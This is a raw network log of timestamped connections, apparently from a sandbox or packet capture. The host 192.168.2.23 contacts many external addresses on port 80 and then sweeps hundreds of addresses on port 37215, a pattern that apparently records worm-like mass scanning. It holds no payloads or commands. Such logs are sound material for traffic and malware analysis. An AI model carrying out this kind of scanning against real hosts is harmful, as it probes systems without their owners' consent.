Dec 3, 2024 23:01:51.187033892 CET	80	60046	109.62.119.7	192.168.2.23
Dec 3, 2024 23:01:51.187078953 CET	60046	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:51.187078953 CET	60046	80	192.168.2.23	109.62.119.7
Dec 3, 2024 23:01:51.187078953 CET	60046	80	192.168.2.23	102.137.240.134
Dec 3, 2024 23:01:51.187197924 CET	80	60046	153.78.233.79	192.168.2.23
Dec 3, 2024 23:01:51.187210083 CET	80	60046	173.230.32.46	192.168.2.23
Dec 3, 2024 23:01:51.187218904 CET	80	60046	133.245.87.115	192.168.2.23
Dec 3, 2024 23:01:51.187227964 CET	80	60046	116.80.66.91	192.168.2.23
Dec 3, 2024 23:01:51.187238932 CET	80	60046	142.22.147.27	192.168.2.23
Dec 3, 2024 23:01:51.187241077 CET	60046	80	192.168.2.23	153.78.233.79
Dec 3, 2024 23:01:51.187246084 CET	60046	80	192.168.2.23	173.230.32.46
Dec 3, 2024 23:01:51.187257051 CET	80	60046	165.173.127.185	192.168.2.23
Dec 3, 2024 23:01:51.187273979 CET	60046	80	192.168.2.23	133.245.87.115
Dec 3, 2024 23:01:51.187273979 CET	60046	80	192.168.2.23	116.80.66.91
Dec 3, 2024 23:01:51.187274933 CET	60046	80	192.168.2.23	142.22.147.27
Dec 3, 2024 23:01:51.187289000 CET	80	60046	38.96.150.180	192.168.2.23
Dec 3, 2024 23:01:51.187299967 CET	80	60046	37.30.94.170	192.168.2.23
Dec 3, 2024 23:01:51.187299967 CET	60046	80	192.168.2.23	165.173.127.185
Dec 3, 2024 23:01:51.187308073 CET	80	60046	27.213.187.69	192.168.2.23
Dec 3, 2024 23:01:51.187346935 CET	60046	80	192.168.2.23	27.213.187.69
Dec 3, 2024 23:01:51.187346935 CET	60046	80	192.168.2.23	38.96.150.180
Dec 3, 2024 23:01:51.187346935 CET	60046	80	192.168.2.23	37.30.94.170
Dec 3, 2024 23:01:51.187823057 CET	80	57076	75.244.175.40	192.168.2.23
Dec 3, 2024 23:01:51.187988043 CET	57076	80	192.168.2.23	75.244.175.40
Dec 3, 2024 23:01:51.188205957 CET	80	48302	92.205.42.249	192.168.2.23
Dec 3, 2024 23:01:51.188245058 CET	48302	80	192.168.2.23	92.205.42.249
Dec 3, 2024 23:01:51.188653946 CET	80	33328	60.164.109.203	192.168.2.23
Dec 3, 2024 23:01:51.188698053 CET	33328	80	192.168.2.23	60.164.109.203
Dec 3, 2024 23:01:51.189105988 CET	80	46656	79.149.81.197	192.168.2.23
Dec 3, 2024 23:01:51.189153910 CET	46656	80	192.168.2.23	79.149.81.197
Dec 3, 2024 23:01:51.189553022 CET	80	41642	184.47.95.238	192.168.2.23
Dec 3, 2024 23:01:51.189598083 CET	41642	80	192.168.2.23	184.47.95.238
Dec 3, 2024 23:01:51.189965010 CET	80	56910	203.53.63.115	192.168.2.23
Dec 3, 2024 23:01:51.189975023 CET	80	57776	212.110.217.75	192.168.2.23
Dec 3, 2024 23:01:51.189982891 CET	80	44186	124.180.100.208	192.168.2.23
Dec 3, 2024 23:01:51.190001011 CET	80	37892	165.207.12.117	192.168.2.23
Dec 3, 2024 23:01:51.190010071 CET	80	40920	184.220.227.77	192.168.2.23
Dec 3, 2024 23:01:51.190017939 CET	80	54500	158.67.27.131	192.168.2.23
Dec 3, 2024 23:01:51.190134048 CET	80	33078	124.90.254.6	192.168.2.23
Dec 3, 2024 23:01:51.190223932 CET	80	33078	124.90.254.6	192.168.2.23
Dec 3, 2024 23:01:51.190262079 CET	33078	80	192.168.2.23	124.90.254.6
Dec 3, 2024 23:01:51.190608025 CET	80	37892	165.207.12.117	192.168.2.23
Dec 3, 2024 23:01:51.190651894 CET	37892	80	192.168.2.23	165.207.12.117
Dec 3, 2024 23:01:51.191284895 CET	80	40920	184.220.227.77	192.168.2.23
Dec 3, 2024 23:01:51.191330910 CET	40920	80	192.168.2.23	184.220.227.77
Dec 3, 2024 23:01:51.191786051 CET	80	54500	158.67.27.131	192.168.2.23
Dec 3, 2024 23:01:51.191826105 CET	54500	80	192.168.2.23	158.67.27.131
Dec 3, 2024 23:01:51.192002058 CET	80	44186	124.180.100.208	192.168.2.23
Dec 3, 2024 23:01:51.192043066 CET	44186	80	192.168.2.23	124.180.100.208
Dec 3, 2024 23:01:51.192436934 CET	80	57776	212.110.217.75	192.168.2.23
Dec 3, 2024 23:01:51.192490101 CET	57776	80	192.168.2.23	212.110.217.75
Dec 3, 2024 23:01:51.192698956 CET	80	56910	203.53.63.115	192.168.2.23
Dec 3, 2024 23:01:51.192738056 CET	56910	80	192.168.2.23	203.53.63.115
Dec 3, 2024 23:01:51.291116953 CET	80	35192	135.15.7.163	192.168.2.23
Dec 3, 2024 23:01:51.291198015 CET	35192	80	192.168.2.23	135.15.7.163
Dec 3, 2024 23:01:51.671514988 CET	59534	37215	192.168.2.23	156.24.231.185
Dec 3, 2024 23:01:51.671519995 CET	59534	37215	192.168.2.23	197.17.74.180
Dec 3, 2024 23:01:51.671525002 CET	59534	37215	192.168.2.23	197.209.55.44
Dec 3, 2024 23:01:51.671531916 CET	59534	37215	192.168.2.23	197.72.158.49
Dec 3, 2024 23:01:51.671531916 CET	59534	37215	192.168.2.23	197.126.190.215
Dec 3, 2024 23:01:51.671538115 CET	59534	37215	192.168.2.23	41.208.229.105
Dec 3, 2024 23:01:51.671540976 CET	59534	37215	192.168.2.23	156.221.56.22
Dec 3, 2024 23:01:51.671545029 CET	59534	37215	192.168.2.23	156.13.35.17
Dec 3, 2024 23:01:51.671545029 CET	59534	37215	192.168.2.23	156.156.6.202
Dec 3, 2024 23:01:51.671555042 CET	59534	37215	192.168.2.23	197.71.201.193
Dec 3, 2024 23:01:51.671555042 CET	59534	37215	192.168.2.23	156.105.224.65
Dec 3, 2024 23:01:51.671555042 CET	59534	37215	192.168.2.23	156.100.53.122
Dec 3, 2024 23:01:51.671555042 CET	59534	37215	192.168.2.23	156.143.237.92
Dec 3, 2024 23:01:51.671565056 CET	59534	37215	192.168.2.23	197.234.115.119
Dec 3, 2024 23:01:51.671565056 CET	59534	37215	192.168.2.23	41.19.39.42
Dec 3, 2024 23:01:51.671569109 CET	59534	37215	192.168.2.23	41.255.211.125
Dec 3, 2024 23:01:51.671571016 CET	59534	37215	192.168.2.23	156.106.43.105
Dec 3, 2024 23:01:51.671571016 CET	59534	37215	192.168.2.23	197.191.128.184
Dec 3, 2024 23:01:51.671581030 CET	59534	37215	192.168.2.23	197.42.120.95
Dec 3, 2024 23:01:51.671581984 CET	59534	37215	192.168.2.23	156.249.195.29
Dec 3, 2024 23:01:51.671597004 CET	59534	37215	192.168.2.23	156.233.245.14
Dec 3, 2024 23:01:51.671597004 CET	59534	37215	192.168.2.23	156.126.231.201
Dec 3, 2024 23:01:51.671619892 CET	59534	37215	192.168.2.23	156.81.179.33
Dec 3, 2024 23:01:51.671621084 CET	59534	37215	192.168.2.23	41.252.94.225
Dec 3, 2024 23:01:51.671637058 CET	59534	37215	192.168.2.23	41.19.59.90
Dec 3, 2024 23:01:51.671637058 CET	59534	37215	192.168.2.23	197.162.115.184
Dec 3, 2024 23:01:51.671638012 CET	59534	37215	192.168.2.23	197.24.115.43
Dec 3, 2024 23:01:51.671639919 CET	59534	37215	192.168.2.23	156.136.75.166
Dec 3, 2024 23:01:51.671639919 CET	59534	37215	192.168.2.23	156.175.145.194
Dec 3, 2024 23:01:51.671639919 CET	59534	37215	192.168.2.23	197.105.199.42
Dec 3, 2024 23:01:51.671641111 CET	59534	37215	192.168.2.23	197.38.142.96
Dec 3, 2024 23:01:51.671641111 CET	59534	37215	192.168.2.23	41.237.88.247
Dec 3, 2024 23:01:51.671641111 CET	59534	37215	192.168.2.23	41.176.120.16
Dec 3, 2024 23:01:51.671639919 CET	59534	37215	192.168.2.23	197.83.17.121
Dec 3, 2024 23:01:51.671641111 CET	59534	37215	192.168.2.23	197.251.219.109
Dec 3, 2024 23:01:51.671662092 CET	59534	37215	192.168.2.23	156.45.237.112
Dec 3, 2024 23:01:51.671662092 CET	59534	37215	192.168.2.23	41.254.119.233
Dec 3, 2024 23:01:51.671662092 CET	59534	37215	192.168.2.23	156.81.65.54
Dec 3, 2024 23:01:51.671663046 CET	59534	37215	192.168.2.23	197.139.56.3
Dec 3, 2024 23:01:51.671664953 CET	59534	37215	192.168.2.23	156.225.99.153
Dec 3, 2024 23:01:51.671669960 CET	59534	37215	192.168.2.23	156.13.181.214
Dec 3, 2024 23:01:51.671670914 CET	59534	37215	192.168.2.23	197.211.48.50
Dec 3, 2024 23:01:51.671670914 CET	59534	37215	192.168.2.23	41.174.187.213
Dec 3, 2024 23:01:51.671672106 CET	59534	37215	192.168.2.23	156.33.74.115
Dec 3, 2024 23:01:51.671672106 CET	59534	37215	192.168.2.23	197.150.177.252
Dec 3, 2024 23:01:51.671672106 CET	59534	37215	192.168.2.23	197.79.74.187
Dec 3, 2024 23:01:51.671683073 CET	59534	37215	192.168.2.23	156.23.242.149
Dec 3, 2024 23:01:51.671684980 CET	59534	37215	192.168.2.23	197.211.19.43
Dec 3, 2024 23:01:51.671685934 CET	59534	37215	192.168.2.23	41.173.15.244
Dec 3, 2024 23:01:51.671685934 CET	59534	37215	192.168.2.23	156.20.162.225
Dec 3, 2024 23:01:51.671689034 CET	59534	37215	192.168.2.23	41.43.171.109
Dec 3, 2024 23:01:51.671689034 CET	59534	37215	192.168.2.23	156.74.132.76
Dec 3, 2024 23:01:51.671689987 CET	59534	37215	192.168.2.23	197.27.170.17
Dec 3, 2024 23:01:51.671690941 CET	59534	37215	192.168.2.23	156.145.2.77
Dec 3, 2024 23:01:51.671690941 CET	59534	37215	192.168.2.23	156.111.209.90
Dec 3, 2024 23:01:51.671690941 CET	59534	37215	192.168.2.23	156.202.104.175
Dec 3, 2024 23:01:51.671690941 CET	59534	37215	192.168.2.23	197.204.194.71
Dec 3, 2024 23:01:51.671690941 CET	59534	37215	192.168.2.23	197.37.119.131
Dec 3, 2024 23:01:51.671690941 CET	59534	37215	192.168.2.23	41.187.63.226
Dec 3, 2024 23:01:51.671701908 CET	59534	37215	192.168.2.23	197.118.220.84
Dec 3, 2024 23:01:51.671701908 CET	59534	37215	192.168.2.23	197.198.188.20
Dec 3, 2024 23:01:51.671701908 CET	59534	37215	192.168.2.23	197.228.195.83
Dec 3, 2024 23:01:51.671703100 CET	59534	37215	192.168.2.23	41.127.74.68
Dec 3, 2024 23:01:51.671704054 CET	59534	37215	192.168.2.23	197.130.163.222
Dec 3, 2024 23:01:51.671705961 CET	59534	37215	192.168.2.23	41.29.227.26
Dec 3, 2024 23:01:51.671705961 CET	59534	37215	192.168.2.23	156.176.193.58
Dec 3, 2024 23:01:51.671710968 CET	59534	37215	192.168.2.23	197.189.37.196
Dec 3, 2024 23:01:51.671710968 CET	59534	37215	192.168.2.23	197.216.170.182
Dec 3, 2024 23:01:51.671710968 CET	59534	37215	192.168.2.23	41.78.243.246
Dec 3, 2024 23:01:51.671713114 CET	59534	37215	192.168.2.23	197.35.66.62
Dec 3, 2024 23:01:51.671715021 CET	59534	37215	192.168.2.23	197.108.22.178
Dec 3, 2024 23:01:51.671715021 CET	59534	37215	192.168.2.23	41.122.176.68
Dec 3, 2024 23:01:51.671715021 CET	59534	37215	192.168.2.23	41.173.245.83
Dec 3, 2024 23:01:51.671719074 CET	59534	37215	192.168.2.23	41.146.64.34
Dec 3, 2024 23:01:51.671719074 CET	59534	37215	192.168.2.23	197.127.17.187
Dec 3, 2024 23:01:51.671719074 CET	59534	37215	192.168.2.23	41.247.90.208
Dec 3, 2024 23:01:51.671729088 CET	59534	37215	192.168.2.23	41.179.169.178
Dec 3, 2024 23:01:51.671732903 CET	59534	37215	192.168.2.23	197.95.185.66
Dec 3, 2024 23:01:51.671735048 CET	59534	37215	192.168.2.23	41.137.213.10
Dec 3, 2024 23:01:51.671736956 CET	59534	37215	192.168.2.23	41.188.48.49
Dec 3, 2024 23:01:51.671736956 CET	59534	37215	192.168.2.23	156.215.57.5
Dec 3, 2024 23:01:51.671736956 CET	59534	37215	192.168.2.23	41.242.70.226
Dec 3, 2024 23:01:51.671737909 CET	59534	37215	192.168.2.23	156.110.165.84
Dec 3, 2024 23:01:51.671737909 CET	59534	37215	192.168.2.23	41.165.30.120
Dec 3, 2024 23:01:51.671737909 CET	59534	37215	192.168.2.23	41.142.68.195
Dec 3, 2024 23:01:51.671737909 CET	59534	37215	192.168.2.23	156.128.71.151
Dec 3, 2024 23:01:51.671737909 CET	59534	37215	192.168.2.23	197.13.13.94
Dec 3, 2024 23:01:51.671737909 CET	59534	37215	192.168.2.23	156.99.218.61
Dec 3, 2024 23:01:51.671737909 CET	59534	37215	192.168.2.23	197.248.176.38
Dec 3, 2024 23:01:51.671737909 CET	59534	37215	192.168.2.23	41.252.71.167
Dec 3, 2024 23:01:51.671742916 CET	59534	37215	192.168.2.23	156.30.244.104
Dec 3, 2024 23:01:51.671751022 CET	59534	37215	192.168.2.23	197.176.53.197
Dec 3, 2024 23:01:51.671751022 CET	59534	37215	192.168.2.23	41.249.56.213
Dec 3, 2024 23:01:51.671755075 CET	59534	37215	192.168.2.23	41.112.176.16
Dec 3, 2024 23:01:51.671755075 CET	59534	37215	192.168.2.23	197.207.33.148
Dec 3, 2024 23:01:51.671767950 CET	59534	37215	192.168.2.23	41.159.50.30
Dec 3, 2024 23:01:51.671770096 CET	59534	37215	192.168.2.23	197.28.28.98
Dec 3, 2024 23:01:51.671770096 CET	59534	37215	192.168.2.23	156.31.247.206
Dec 3, 2024 23:01:51.671771049 CET	59534	37215	192.168.2.23	156.71.176.123
Dec 3, 2024 23:01:51.671771049 CET	59534	37215	192.168.2.23	156.50.125.233
Dec 3, 2024 23:01:51.671771049 CET	59534	37215	192.168.2.23	41.99.233.172
Dec 3, 2024 23:01:51.671772957 CET	59534	37215	192.168.2.23	156.175.76.179
Dec 3, 2024 23:01:51.671772957 CET	59534	37215	192.168.2.23	41.176.200.26
Dec 3, 2024 23:01:51.671773911 CET	59534	37215	192.168.2.23	156.168.185.123
Dec 3, 2024 23:01:51.671773911 CET	59534	37215	192.168.2.23	197.123.51.232
Dec 3, 2024 23:01:51.671775103 CET	59534	37215	192.168.2.23	156.47.172.205
Dec 3, 2024 23:01:51.671775103 CET	59534	37215	192.168.2.23	41.5.32.69
Dec 3, 2024 23:01:51.671778917 CET	59534	37215	192.168.2.23	197.71.123.217
Dec 3, 2024 23:01:51.671778917 CET	59534	37215	192.168.2.23	41.144.213.230
Dec 3, 2024 23:01:51.671778917 CET	59534	37215	192.168.2.23	197.224.82.248
Dec 3, 2024 23:01:51.671782017 CET	59534	37215	192.168.2.23	156.40.84.41
Dec 3, 2024 23:01:51.671782017 CET	59534	37215	192.168.2.23	197.237.168.107
Dec 3, 2024 23:01:51.671785116 CET	59534	37215	192.168.2.23	156.82.60.85
Dec 3, 2024 23:01:51.671792984 CET	59534	37215	192.168.2.23	197.155.206.231
Dec 3, 2024 23:01:51.671792984 CET	59534	37215	192.168.2.23	197.74.100.226
Dec 3, 2024 23:01:51.671792984 CET	59534	37215	192.168.2.23	156.193.117.149
Dec 3, 2024 23:01:51.671794891 CET	59534	37215	192.168.2.23	41.46.84.57
Dec 3, 2024 23:01:51.671792984 CET	59534	37215	192.168.2.23	156.164.62.60
Dec 3, 2024 23:01:51.671802998 CET	59534	37215	192.168.2.23	156.80.16.55
Dec 3, 2024 23:01:51.671803951 CET	59534	37215	192.168.2.23	41.132.204.234
Dec 3, 2024 23:01:51.671792984 CET	59534	37215	192.168.2.23	156.145.170.135
Dec 3, 2024 23:01:51.671792984 CET	59534	37215	192.168.2.23	41.142.188.18
Dec 3, 2024 23:01:51.671802044 CET	59534	37215	192.168.2.23	197.226.106.98
Dec 3, 2024 23:01:51.671794891 CET	59534	37215	192.168.2.23	197.191.30.160
Dec 3, 2024 23:01:51.671803951 CET	59534	37215	192.168.2.23	197.199.29.128
Dec 3, 2024 23:01:51.671802044 CET	59534	37215	192.168.2.23	197.111.233.82
Dec 3, 2024 23:01:51.671794891 CET	59534	37215	192.168.2.23	41.189.9.66
Dec 3, 2024 23:01:51.671814919 CET	59534	37215	192.168.2.23	41.107.43.63
Dec 3, 2024 23:01:51.671813011 CET	59534	37215	192.168.2.23	41.242.251.171
Dec 3, 2024 23:01:51.671813011 CET	59534	37215	192.168.2.23	41.83.6.194
Dec 3, 2024 23:01:51.671819925 CET	59534	37215	192.168.2.23	197.182.1.34
Dec 3, 2024 23:01:51.671819925 CET	59534	37215	192.168.2.23	156.243.179.197
Dec 3, 2024 23:01:51.671819925 CET	59534	37215	192.168.2.23	197.53.160.224
Dec 3, 2024 23:01:51.671819925 CET	59534	37215	192.168.2.23	197.48.142.10
Dec 3, 2024 23:01:51.671819925 CET	59534	37215	192.168.2.23	197.50.249.9
Dec 3, 2024 23:01:51.671824932 CET	59534	37215	192.168.2.23	41.190.122.225
Dec 3, 2024 23:01:51.671824932 CET	59534	37215	192.168.2.23	156.165.107.159
Dec 3, 2024 23:01:51.671824932 CET	59534	37215	192.168.2.23	156.244.8.98
Dec 3, 2024 23:01:51.671825886 CET	59534	37215	192.168.2.23	41.94.210.175
Dec 3, 2024 23:01:51.671824932 CET	59534	37215	192.168.2.23	197.137.224.182
Dec 3, 2024 23:01:51.671825886 CET	59534	37215	192.168.2.23	156.61.48.212
Dec 3, 2024 23:01:51.671825886 CET	59534	37215	192.168.2.23	41.79.94.45
Dec 3, 2024 23:01:51.671825886 CET	59534	37215	192.168.2.23	156.91.65.153
Dec 3, 2024 23:01:51.671827078 CET	59534	37215	192.168.2.23	197.100.101.201
Dec 3, 2024 23:01:51.671834946 CET	59534	37215	192.168.2.23	197.242.201.157
Dec 3, 2024 23:01:51.671844006 CET	59534	37215	192.168.2.23	41.187.22.18
Dec 3, 2024 23:01:51.671852112 CET	59534	37215	192.168.2.23	156.230.106.202
Dec 3, 2024 23:01:51.671853065 CET	59534	37215	192.168.2.23	41.46.238.188
Dec 3, 2024 23:01:51.671854973 CET	59534	37215	192.168.2.23	197.28.237.23
Dec 3, 2024 23:01:51.671864986 CET	59534	37215	192.168.2.23	197.71.246.100
Dec 3, 2024 23:01:51.671873093 CET	59534	37215	192.168.2.23	197.206.151.225
Dec 3, 2024 23:01:51.671880007 CET	59534	37215	192.168.2.23	197.105.89.61
Dec 3, 2024 23:01:51.671885967 CET	59534	37215	192.168.2.23	41.140.247.114
Dec 3, 2024 23:01:51.671891928 CET	59534	37215	192.168.2.23	197.35.153.221
Dec 3, 2024 23:01:51.671894073 CET	59534	37215	192.168.2.23	156.244.28.81
Dec 3, 2024 23:01:51.671902895 CET	59534	37215	192.168.2.23	156.42.151.223
Dec 3, 2024 23:01:51.671902895 CET	59534	37215	192.168.2.23	41.100.254.255
Dec 3, 2024 23:01:51.671905041 CET	59534	37215	192.168.2.23	156.108.87.15
Dec 3, 2024 23:01:51.671905041 CET	59534	37215	192.168.2.23	41.71.163.126
Dec 3, 2024 23:01:51.671911001 CET	59534	37215	192.168.2.23	156.146.115.209
Dec 3, 2024 23:01:51.671911001 CET	59534	37215	192.168.2.23	156.195.243.63
Dec 3, 2024 23:01:51.671911001 CET	59534	37215	192.168.2.23	41.181.13.12
Dec 3, 2024 23:01:51.671911001 CET	59534	37215	192.168.2.23	41.92.161.106
Dec 3, 2024 23:01:51.671911001 CET	59534	37215	192.168.2.23	41.109.252.68
Dec 3, 2024 23:01:51.671917915 CET	59534	37215	192.168.2.23	197.101.11.168
Dec 3, 2024 23:01:51.671932936 CET	59534	37215	192.168.2.23	197.131.226.223
Dec 3, 2024 23:01:51.671933889 CET	59534	37215	192.168.2.23	156.180.46.196
Dec 3, 2024 23:01:51.671932936 CET	59534	37215	192.168.2.23	41.148.114.131
Dec 3, 2024 23:01:51.671952009 CET	59534	37215	192.168.2.23	41.229.208.21
Dec 3, 2024 23:01:51.671957016 CET	59534	37215	192.168.2.23	41.115.75.99
Dec 3, 2024 23:01:51.671957970 CET	59534	37215	192.168.2.23	197.52.130.36
Dec 3, 2024 23:01:51.671957970 CET	59534	37215	192.168.2.23	197.165.157.189
Dec 3, 2024 23:01:51.671958923 CET	59534	37215	192.168.2.23	156.228.12.223
Dec 3, 2024 23:01:51.671960115 CET	59534	37215	192.168.2.23	41.150.161.101
Dec 3, 2024 23:01:51.671964884 CET	59534	37215	192.168.2.23	41.232.94.69
Dec 3, 2024 23:01:51.671967030 CET	59534	37215	192.168.2.23	156.72.167.38
Dec 3, 2024 23:01:51.671967983 CET	59534	37215	192.168.2.23	41.98.48.66
Dec 3, 2024 23:01:51.671968937 CET	59534	37215	192.168.2.23	156.186.185.125
Dec 3, 2024 23:01:51.671971083 CET	59534	37215	192.168.2.23	197.121.165.78
Dec 3, 2024 23:01:51.671979904 CET	59534	37215	192.168.2.23	156.191.176.44
Dec 3, 2024 23:01:51.671982050 CET	59534	37215	192.168.2.23	41.178.27.239
Dec 3, 2024 23:01:51.671996117 CET	59534	37215	192.168.2.23	197.125.81.181
Dec 3, 2024 23:01:51.671997070 CET	59534	37215	192.168.2.23	156.24.88.189
Dec 3, 2024 23:01:51.671997070 CET	59534	37215	192.168.2.23	197.74.213.78
Dec 3, 2024 23:01:51.671999931 CET	59534	37215	192.168.2.23	197.138.24.121
Dec 3, 2024 23:01:51.671999931 CET	59534	37215	192.168.2.23	41.133.233.25
Dec 3, 2024 23:01:51.672024965 CET	59534	37215	192.168.2.23	197.41.232.6
Dec 3, 2024 23:01:51.672029972 CET	59534	37215	192.168.2.23	41.228.43.2
Dec 3, 2024 23:01:51.672029972 CET	59534	37215	192.168.2.23	156.150.168.107
Dec 3, 2024 23:01:51.672029972 CET	59534	37215	192.168.2.23	197.26.11.181
Dec 3, 2024 23:01:51.672034025 CET	59534	37215	192.168.2.23	41.182.87.150
Dec 3, 2024 23:01:51.672034979 CET	59534	37215	192.168.2.23	197.248.149.51
Dec 3, 2024 23:01:51.672034025 CET	59534	37215	192.168.2.23	41.154.194.204
Dec 3, 2024 23:01:51.672034979 CET	59534	37215	192.168.2.23	156.23.56.252
Dec 3, 2024 23:01:51.672034025 CET	59534	37215	192.168.2.23	41.127.213.215
Dec 3, 2024 23:01:51.672034979 CET	59534	37215	192.168.2.23	156.23.251.97
Dec 3, 2024 23:01:51.672039986 CET	59534	37215	192.168.2.23	156.5.138.248
Dec 3, 2024 23:01:51.672034979 CET	59534	37215	192.168.2.23	41.224.114.217
Dec 3, 2024 23:01:51.672041893 CET	59534	37215	192.168.2.23	156.254.27.62
Dec 3, 2024 23:01:51.672043085 CET	59534	37215	192.168.2.23	197.15.134.87
Dec 3, 2024 23:01:51.672046900 CET	59534	37215	192.168.2.23	41.17.221.193
Dec 3, 2024 23:01:51.672054052 CET	59534	37215	192.168.2.23	41.235.37.210
Dec 3, 2024 23:01:51.672055006 CET	59534	37215	192.168.2.23	197.59.231.69
Dec 3, 2024 23:01:51.672059059 CET	59534	37215	192.168.2.23	156.67.71.212
Dec 3, 2024 23:01:51.672059059 CET	59534	37215	192.168.2.23	197.184.16.45
Dec 3, 2024 23:01:51.672059059 CET	59534	37215	192.168.2.23	156.91.91.162
Dec 3, 2024 23:01:51.672061920 CET	59534	37215	192.168.2.23	197.75.238.165
Dec 3, 2024 23:01:51.672064066 CET	59534	37215	192.168.2.23	41.126.252.122
Dec 3, 2024 23:01:51.672065020 CET	59534	37215	192.168.2.23	197.47.110.141
Dec 3, 2024 23:01:51.672065973 CET	59534	37215	192.168.2.23	156.224.100.63
Dec 3, 2024 23:01:51.672065973 CET	59534	37215	192.168.2.23	197.65.191.64
Dec 3, 2024 23:01:51.672065973 CET	59534	37215	192.168.2.23	197.236.65.155
Dec 3, 2024 23:01:51.672070026 CET	59534	37215	192.168.2.23	197.180.217.19
Dec 3, 2024 23:01:51.672074080 CET	59534	37215	192.168.2.23	156.151.140.110
Dec 3, 2024 23:01:51.672074080 CET	59534	37215	192.168.2.23	41.58.161.43
Dec 3, 2024 23:01:51.672087908 CET	59534	37215	192.168.2.23	41.199.95.120
Dec 3, 2024 23:01:51.672087908 CET	59534	37215	192.168.2.23	156.2.251.50
Dec 3, 2024 23:01:51.672087908 CET	59534	37215	192.168.2.23	41.95.133.32
Dec 3, 2024 23:01:51.672089100 CET	59534	37215	192.168.2.23	197.250.214.1
Dec 3, 2024 23:01:51.672087908 CET	59534	37215	192.168.2.23	41.191.124.25
Dec 3, 2024 23:01:51.672090054 CET	59534	37215	192.168.2.23	41.211.19.19
Dec 3, 2024 23:01:51.672087908 CET	59534	37215	192.168.2.23	197.107.97.209
Dec 3, 2024 23:01:51.672090054 CET	59534	37215	192.168.2.23	156.205.65.11
Dec 3, 2024 23:01:51.672089100 CET	59534	37215	192.168.2.23	41.5.119.220
Dec 3, 2024 23:01:51.672091007 CET	59534	37215	192.168.2.23	41.184.51.50
Dec 3, 2024 23:01:51.672097921 CET	59534	37215	192.168.2.23	41.88.31.104
Dec 3, 2024 23:01:51.672097921 CET	59534	37215	192.168.2.23	197.95.105.73
Dec 3, 2024 23:01:51.672097921 CET	59534	37215	192.168.2.23	197.38.112.149
Dec 3, 2024 23:01:51.672100067 CET	59534	37215	192.168.2.23	41.59.217.18
Dec 3, 2024 23:01:51.672100067 CET	59534	37215	192.168.2.23	41.194.131.38
Dec 3, 2024 23:01:51.672096014 CET	59534	37215	192.168.2.23	156.230.160.177
Dec 3, 2024 23:01:51.672096014 CET	59534	37215	192.168.2.23	197.21.99.122
Dec 3, 2024 23:01:51.672101974 CET	59534	37215	192.168.2.23	156.27.192.233
Dec 3, 2024 23:01:51.672117949 CET	59534	37215	192.168.2.23	197.31.105.147
Dec 3, 2024 23:01:51.672118902 CET	59534	37215	192.168.2.23	156.42.121.220
Dec 3, 2024 23:01:51.672122955 CET	59534	37215	192.168.2.23	197.241.189.107
Dec 3, 2024 23:01:51.672122955 CET	59534	37215	192.168.2.23	41.62.143.13
Dec 3, 2024 23:01:51.672127008 CET	59534	37215	192.168.2.23	156.158.225.209
Dec 3, 2024 23:01:51.672130108 CET	59534	37215	192.168.2.23	41.31.11.69
Dec 3, 2024 23:01:51.672130108 CET	59534	37215	192.168.2.23	197.242.130.109
Dec 3, 2024 23:01:51.672141075 CET	59534	37215	192.168.2.23	197.53.126.106
Dec 3, 2024 23:01:51.672152042 CET	59534	37215	192.168.2.23	197.189.111.203
Dec 3, 2024 23:01:51.672158957 CET	59534	37215	192.168.2.23	156.97.31.132
Dec 3, 2024 23:01:51.672158003 CET	59534	37215	192.168.2.23	41.159.173.221
Dec 3, 2024 23:01:51.672163963 CET	59534	37215	192.168.2.23	156.217.25.120
Dec 3, 2024 23:01:51.672168970 CET	59534	37215	192.168.2.23	41.69.237.14
Dec 3, 2024 23:01:51.672175884 CET	59534	37215	192.168.2.23	41.9.31.97
Dec 3, 2024 23:01:51.672175884 CET	59534	37215	192.168.2.23	41.167.4.17
Dec 3, 2024 23:01:51.672187090 CET	59534	37215	192.168.2.23	156.216.188.182
Dec 3, 2024 23:01:51.672199965 CET	59534	37215	192.168.2.23	41.15.194.210
Dec 3, 2024 23:01:51.672204018 CET	59534	37215	192.168.2.23	197.127.56.44
Dec 3, 2024 23:01:51.672223091 CET	59534	37215	192.168.2.23	197.59.56.105
Dec 3, 2024 23:01:51.672224045 CET	59534	37215	192.168.2.23	156.7.123.118
Dec 3, 2024 23:01:51.672224998 CET	59534	37215	192.168.2.23	156.172.92.14
Dec 3, 2024 23:01:51.672224998 CET	59534	37215	192.168.2.23	156.175.29.204
Dec 3, 2024 23:01:51.672229052 CET	59534	37215	192.168.2.23	156.159.155.96
Dec 3, 2024 23:01:51.672229052 CET	59534	37215	192.168.2.23	156.2.145.89
Dec 3, 2024 23:01:51.672231913 CET	59534	37215	192.168.2.23	156.178.6.9
Dec 3, 2024 23:01:51.672234058 CET	59534	37215	192.168.2.23	41.169.155.214
Dec 3, 2024 23:01:51.672235966 CET	59534	37215	192.168.2.23	41.54.223.8
Dec 3, 2024 23:01:51.672240973 CET	59534	37215	192.168.2.23	197.42.105.225
Dec 3, 2024 23:01:51.672250986 CET	59534	37215	192.168.2.23	156.206.50.111
Dec 3, 2024 23:01:51.672251940 CET	59534	37215	192.168.2.23	156.136.36.46
Dec 3, 2024 23:01:51.672254086 CET	59534	37215	192.168.2.23	41.65.232.27
Dec 3, 2024 23:01:51.672266006 CET	59534	37215	192.168.2.23	197.158.217.91
Dec 3, 2024 23:01:51.672266006 CET	59534	37215	192.168.2.23	41.16.1.251
Dec 3, 2024 23:01:51.672272921 CET	59534	37215	192.168.2.23	41.110.101.183
Dec 3, 2024 23:01:51.672272921 CET	59534	37215	192.168.2.23	156.8.54.199
Dec 3, 2024 23:01:51.672286034 CET	59534	37215	192.168.2.23	156.71.243.126
Dec 3, 2024 23:01:51.672286034 CET	59534	37215	192.168.2.23	156.227.124.223
Dec 3, 2024 23:01:51.672288895 CET	59534	37215	192.168.2.23	197.164.143.180
Dec 3, 2024 23:01:51.672295094 CET	59534	37215	192.168.2.23	197.15.220.52
Dec 3, 2024 23:01:51.672297001 CET	59534	37215	192.168.2.23	156.156.237.114
Dec 3, 2024 23:01:51.672302961 CET	59534	37215	192.168.2.23	156.227.222.161
Dec 3, 2024 23:01:51.672317028 CET	59534	37215	192.168.2.23	197.207.39.92
Dec 3, 2024 23:01:51.672317982 CET	59534	37215	192.168.2.23	156.202.43.32
Dec 3, 2024 23:01:51.672322035 CET	59534	37215	192.168.2.23	156.94.180.190
Dec 3, 2024 23:01:51.672333002 CET	59534	37215	192.168.2.23	41.39.234.71
Dec 3, 2024 23:01:51.672333956 CET	59534	37215	192.168.2.23	41.0.195.224
